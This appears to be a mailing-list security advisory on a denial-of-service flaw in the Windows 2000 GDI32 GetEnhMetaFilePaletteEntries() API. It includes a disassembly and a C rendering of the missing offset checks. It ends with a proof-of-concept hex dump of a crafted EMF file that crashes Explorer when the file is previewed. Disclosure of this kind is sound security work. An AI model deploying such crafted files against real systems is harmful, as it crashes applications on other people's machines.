<<< Date Index >>>     <<< Thread Index >>>

Windows 2000 GDI32.DLL GetEnhMetaFilePaletteEntries() API specially crafted EMF file DOS vulnerability




     Windows 2000 GDI32.DLL GetEnhMetaFilePaletteEntries() API specially 
crafted EMF file DOS vulnerability

1. Description

Windows 2000 GDI32.DLL GetEnhMetaFilePaletteEntries() API 
doesn't process the EMF file properly, a application which calls 
the API will crash when it reads some specially crafted EMF files.

2. Detail

Let us review the code:

----------------------------------------------------------
The Disassembled GDI32.GetEnhMetaFilePaletteEntries() 
----------------------------------------------------------
77F68CC7        PUSH ESI
77F68CC8        PUSH EDI
77F68CC9        PUSH 460000
77F68CCE        PUSH DWORD PTR SS:[ESP+10]
77F68CD2        CALL GDI32.77F48A89
77F68CD7        TEST EAX,EAX
77F68CD9        JNZ SHORT GDI32.77F68CE0
77F68CDB        OR EAX,FFFFFFFF
77F68CDE        JMP SHORT GDI32.77F68D11
77F68CE0        MOV EDI,DWORD PTR SS:[ESP+14]
77F68CE4        TEST EDI,EDI
77F68CE6        JNZ SHORT GDI32.77F68CF0
77F68CE8        MOV EAX,DWORD PTR DS:[EAX+C]
77F68CEB        MOV EAX,DWORD PTR DS:[EAX+44]
77F68CEE        JMP SHORT GDI32.77F68D11
77F68CF0        MOV ECX,DWORD PTR DS:[EAX+C]
77F68CF3        MOV EAX,DWORD PTR DS:[ECX+44]
77F68CF6        CMP DWORD PTR SS:[ESP+10],EAX
77F68CFA        JNB SHORT GDI32.77F68D00
77F68CFC        MOV EAX,DWORD PTR SS:[ESP+10]
77F68D00        MOV EDX,DWORD PTR DS:[ECX+30]
77F68D03        ADD EDX,ECX
77F68D05        MOV ECX,EAX
77F68D07        SUB EDX,DWORD PTR DS:[EDX-4]
77F68D0A        MOV ESI,DWORD PTR DS:[EDX+C] 
77F68D0D        ADD ESI,EDX
77F68D0F        REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] 
77F68D11        POP EDI
77F68D12        POP ESI
77F68D13        RETN 0C
-----------------------------------------------------------
Translated into C Code
-----------------------------------------------------------
UINT GetEnhMetaFilePaletteEntries(
    HENHMETAFILE hemf,  // handle of enhanced metafile 
    UINT cEntries,      // count of palette entries 
    LPPALETTEENTRY lppe         // address of palette-entry array  
   ) 
{
        char *begin, *end, *emreof, *palent;
        DWORD count, i;

        // ......

        begin = emf file offset in memory;

        // get the count of palette entries from the emf file
        count = *((DWORD *)(begin + 0x44)); 

        if (lppe == 0)
                 return count; 
 
        if (size > count)
                 size = count;
        
        // find the end of the emf file
        end = begin + *((DWORD *)(bigin + 0x30));

        // find the offset of emreof
        emreof = end - *((DWORD *)(end - 0x04));

        // find the offset of palentries
        palent = emreof + *((DWORD *)(emreof + 0x0c));

        // copy the palent from the file to palette-entry array
        for (i = 0; i < size; i++) 
                 memcpy(lppe + i, palent + i * 4, 4);
        
        return size;
}
-----------------------------------------------------------

You can see that there isn't validity check, so it may cause  
access violation when it uses the offset value("end", "emreof", 
"palent") which read from the EMF.

3. Impact

The specific impact depends on the application using the API.
Generally, if there is a non-zero value in EMRHEAD->nPalEntries,
the application will call this API, and pass EMRHEAD->nPalEntries
to the second parameter, a specially crafted EMF will crash 
the Application if the address it accesses to is not valid.  

<<< Explorer.exe >>>

The explorer.exe(maybe a DLL called by explorer) always use 
0x100 as the second parameter. And even if there is a zero 
value in EMRHEAD->nPalEntries, if the "end" value in the end
of EMF file is bigger than some value(0x14 ??? I'm not sure), 
it will also call this API to get the Palette entries.(strangely ?)

When you open the explorer.exe to open the folder which has a 
crafted EMF file, if you click on the file in explorer's right 
client area, just click, the explorer.exe will display the EMF file 
in its left client area which will crash itself.

4. POC

A hex dumped EMF file:
-------------------------------------------------------
0000000 01 00 00 00 64 00 00 00 93 00 00 00 02 00 00 00
0000010 83 01 00 00 39 01 00 00 00 00 00 00 00 00 00 00
0000020 d1 08 00 00 be 06 00 00 20 45 4d 46 00 00 01 00
0000030 78 00 00 00 17 00 00 00 03 00 00 00 0f 00 00 00
0000040 64 00 00 00 41 00 00 00 c8 12 00 00 c2 1a 00 00
0000050 cc 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00
0000060 00 00 00 00 0e 00 00 00 14 00 00 00 41 00 00 00
0000070 41 42 43 44 00 00 01 ff
-------------------------------------------------------

If it doesn't crash your explorer.exe, change the last 8
byte's values and try again, but I think it needn't change:)

Or you can change some normal EMF files in your Win2k to test.

5. Author

felix__zhou _at_  hotmail _dot_ com
      hzhou _at_ fortinet _dot_ com